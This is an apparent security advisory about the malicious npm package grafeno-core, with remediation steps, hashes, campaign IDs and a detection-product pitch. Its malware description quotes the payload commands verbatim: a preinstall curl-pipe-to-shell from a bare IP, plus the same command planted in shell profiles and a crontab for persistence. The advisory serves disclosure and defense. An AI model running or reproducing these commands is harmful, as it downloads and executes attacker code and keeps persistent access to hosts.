Which versions of grafeno-core are malicious?

The following npm versions of grafeno-core are flagged malicious: 1.0.0, 1.0.1. Treat any of these as compromised.

How do I remediate grafeno-core if I installed it?

Remove grafeno-core from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed grafeno-core — how do I know if it already compromised me?

If grafeno-core was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is grafeno-core part of a known attack campaign?

Yes — grafeno-core is associated with the IN-MAL-2026-019058, IN-MAL-2026-019115 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find grafeno-core across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for grafeno-core (2 malicious versions).

Malicious package

grafeno-corenpm

Advisory published Aug 28, 2026Updated Aug 29, 2026

grafeno-core is a confirmed malicious npm package (MAL-2026-15505) that executes malicious code on install (malicious versions 1.0.0, 1.0.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in grafeno-core (npm)

MAL-2026-15505

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall grafeno-core

What this malware does

The package's preinstall lifecycle script runs curl -s http://216.126.236.46/x.sh | sh at npm install time, fetching and executing an attacker-controlled shell payload from a plain-HTTP bare-IP host. The same preinstall appends curl -s 216.126.236.46/x.sh|sh to ~/.bashrc and ~/.profile and installs a crontab entry */30 * * * * curl -s 216.126.236.46/x.sh|sh, re-fetching and executing the remote payload every 30 minutes for persistent host access. The advertised entry point index.js is a two-line stub exporting version and init, with no real functionality — the manifest's preinstall is the entire payload.

Malicious versions

2 flagged

1.0.01.0.1

Indicators of compromise (SHA-256)

19a2990abd7b4447444a42f96636f738449235f9d8760191978e904d028c759e

3ba74dd8ae36cb8f592f3057a5a3f95ad630576e2cab9b0112fa97d2a773385f

Detection & response playbook

Malicious package

Find it
Search your lockfiles and build artifacts for grafeno-core (2 malicious versions).
If you installed it — respond
Remove grafeno-core from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If grafeno-core was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. grafeno-core on npm has been identified as a malicious package (versions 1.0.0, 1.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-019058IN-MAL-2026-019115

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks grafeno-core-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

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